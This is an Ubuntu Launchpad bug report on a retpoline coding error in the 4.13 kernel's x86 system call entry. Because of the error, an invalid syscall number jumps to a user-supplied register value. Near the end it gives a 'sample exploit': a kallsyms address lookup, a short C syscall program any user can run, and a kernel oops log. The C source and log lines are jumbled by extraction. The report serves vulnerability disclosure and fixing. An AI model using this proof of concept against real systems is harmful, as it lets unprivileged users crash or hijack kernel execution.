panic or arbitrary jump due to coding error in retpoline for system call entry
Affects | Status | Importance | Assigned to | Milestone | |
---|---|---|---|---|---|
linux (Ubuntu) |
Invalid
|
Undecided
|
Unassigned | ||
Xenial |
Invalid
|
Undecided
|
Unassigned | ||
Artful |
Fix Released
|
Undecided
|
Unassigned | ||
linux-azure (Ubuntu) |
Invalid
|
Undecided
|
Unassigned | ||
Xenial |
Fix Released
|
Undecided
|
Unassigned | ||
Artful |
Invalid
|
Undecided
|
Unassigned | ||
linux-gcp (Ubuntu) |
Invalid
|
Undecided
|
Unassigned | ||
Xenial |
Fix Released
|
Undecided
|
Unassigned | ||
Artful |
Invalid
|
Undecided
|
Unassigned | ||
linux-hwe (Ubuntu) |
Invalid
|
Undecided
|
Unassigned | ||
Xenial |
Fix Released
|
Undecided
|
Unassigned | ||
Artful |
Invalid
|
Undecided
|
Unassigned | ||
linux-oem (Ubuntu) |
Invalid
|
Undecided
|
Unassigned | ||
Xenial |
Fix Released
|
Undecided
|
Unassigned | ||
Artful |
Invalid
|
Undecided
|
Unassigned |
Bug Description
Calling an invalid system call number panics the system (or potentially calls anywhere in kernel memory)
In the system call entry, there's an andl, cmpl sequence to test the system call number in %rax/%eax for validity. If that fails, it will "ja 1f", which is the entry into the retpoline logic. That logic will eventually "retpoline" jump to what's in %r10 prior to this code fragment. The value in %r10 is the 4th system call argument passed directly in from user space, e.g.,
rv = syscall(0x270f, 0x1111, 0x2222, 0x3333, 0x4444);
so the kernel will attempt to jump to whatever is in the "0x4444" position above. The above call results in a panic and:
[ 102.983486] BUG: unable to handle kernel paging request at 0000000000004444
[...]
[ 103.165771] Code: Bad RIP value.
[ 103.169205] RIP: 0x4444 RSP: ffffac8780be3f50
The issue appears in the artful (4.13) and derivative kernels, because there is a coding error in the assembly language arch/x86/
entry_SYSCALL_
/*
* Easy case: enable interrupts and issue the syscall. If the syscall
* needs pt_regs, we'll call a stub that disables interrupts again
* and jumps to the slow path.
*/
#if __SYSCALL_MASK == ~0
cmpq $__NR_syscall_max, %rax
#else
andl $__SYSCALL_MASK, %eax
cmpl $__NR_syscall_max, %eax
#endif
ja 1f /* return -ENOSYS (already in pt
_regs->ax) */
movq %r10, %rcx
/*
* This call instruction is handled specially in stub_ptregs_64.
* It might end up jumping to the slow path. If it jumps, RAX
* and all argument registers are clobbered.
*/
movq sys_call_table(, %rax, 8), %r10
jmp 1f
4: callq 2f
3: nop
jmp 3b
2: mov %r10, (%rsp)
retq
1: callq 4b
.Lentry_
movq %rax, RAX(%rsp)
1:
Note the "ja 1f"; it's meant to jump to the later "1:" label, but disassembly of the compiled object shows that it goes to the "1: callq 4b" instead (the retpoline logic). The xenial code for this section looks like:
jmp 1001f
1004: callq 1002f
1003: nop
jmp 1003b
1002: mov %r10, (%rsp)
retq
1001: callq 1004b
and is not subject to the panic.
Changed in linux (Ubuntu): | |
status: | New → Invalid |
Changed in linux (Ubuntu Xenial): | |
status: | New → Invalid |
Changed in linux-azure (Ubuntu Artful): | |
status: | New → Invalid |
Changed in linux-azure (Ubuntu): | |
status: | New → Invalid |
Changed in linux-gcp (Ubuntu): | |
status: | New → Invalid |
Changed in linux-gcp (Ubuntu Artful): | |
status: | New → Invalid |
Changed in linux-oem (Ubuntu): | |
status: | New → Invalid |
Changed in linux-oem (Ubuntu Artful): | |
status: | New → Invalid |
Changed in linux-hwe (Ubuntu): | |
status: | New → Invalid |
Changed in linux-hwe (Ubuntu Artful): | |
status: | New → Invalid |
Changed in linux-hwe (Ubuntu Xenial): | |
status: | New → Fix Released |
Changed in linux-oem (Ubuntu Xenial): | |
status: | New → Fix Released |
Sample exploit:
# grep tun_sendmsg /proc/kallsyms
ffffffff8389c1f0 t tun_sendmsg
Then compile:
#include <unistd.h>
int 1f0);
main(int argc, char **argv)
{
return syscall(0x2000, 0x11111, 0x22222, 0x3333, 0xffffffff8389c
}
and run as any user, resulting in:
[ 248.625393] Oops: 0000 [#2] SMP PTI codec_generic snd_hda_intel snd_hda_codec snd_hda_core snd_hwdep snd_pcm crct10dif_pclmul snd_seq_midi crc32_pclmul ghash_clmulni_intel snd_seq_midi_event pcbc snd_rawmidi aesni_intel snd_seq aes_x86_64 crypto_simd snd_seq_device glue_helper cryptd snd_timer snd soundcore joydev input_leds serio_raw i2c_piix4 mac_hid parport_pc ppdev lp parport ip_tables x_tables autofs4 vmwgfx ttm drm_kms_helper syscopyarea sysfillrect sysimgblt fb_sys_fops drm psmouse virtio_blk virtio_net pata_acpi floppy 1.8.2-1ubuntu1 04/01/2014 sendmsg+ 0xf/0x70 247f40 EFLAGS: 00010216 0(0000) GS:ffff919b3fc0 0000(0000) knlGS:000000000 0000000 64_fastpath+ 0x33/0xa3 147f08 EFLAGS: 00000202 ORIG_RAX: 0000000000002000 user+0xa20/ 0xa20 0xf/0x70 RSP: ffffb7b846247f40
[ 248.625395] Modules linked in: snd_hda_
[ 248.625415] CPU: 0 PID: 6631 Comm: doom Tainted: G D 4.13.0-31-generic #34
[ 248.625415] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-
[ 248.625416] task: ffff919b38460000 task.stack: ffffb7b846244000
[ 248.625417] RIP: 0010:tun_
[ 248.625418] RSP: 0018:ffffb7b846
[ 248.625419] RAX: 00000000ffffffb3 RBX: 0000000000000000 RCX: 00007f02852139f9
[ 248.625420] RDX: 0000000000003333 RSI: 0000000000022222 RDI: 0000000000011111
[ 248.625421] RBP: ffffb7b846247f48 R08: 00007f02854f5e70 R09: 00007ffc2e148008
[ 248.625421] R10: ffffffff8389c1f0 R11: ffff919b38460000 R12: 0000000000000000
[ 248.625422] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000
[ 248.625423] FS: 00007f02856f274
[ 248.625424] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 248.625424] CR2: 0000000000011189 CR3: 0000000078692004 CR4: 00000000001606f0
[ 248.625427] Call Trace:
[ 248.625431] entry_SYSCALL_
[ 248.625432] RIP: 0033:0x7f02852139f9
[ 248.625433] RSP: 002b:00007ffc2e
[ 248.625434] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f02852139f9
[ 248.625435] RDX: 0000000000003333 RSI: 0000000000022222 RDI: 0000000000011111
[ 248.625435] RBP: 00007ffc2e147f20 R08: 00007f02854f5e70 R09: 00007ffc2e148008
[ 248.625436] R10: ffffffff8389c1f0 R11: 0000000000000202 R12: 000055b593a59540
[ 248.625437] R13: 00007ffc2e148000 R14: 0000000000000000 R15: 0000000000000000
[ 248.625438] ? tun_get_
[ 248.625439] Code: 07 74 04 48 89 42 08 83 83 d8 28 00 00 01 e9 01 fe ff ff 66 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 55 b8 b3 ff ff ff 48 89 e5 53 <48> 8b 5f 78 48 85 db 74 52 48 89 f2 48 8d b7 38 fd ff ff 48 89
[ 248.625453] RIP: tun_sendmsg+
[ 248.625454] CR2: 0000000000011189
[ 248.625456] ---[ end trace 43feb0d35f497dae ]---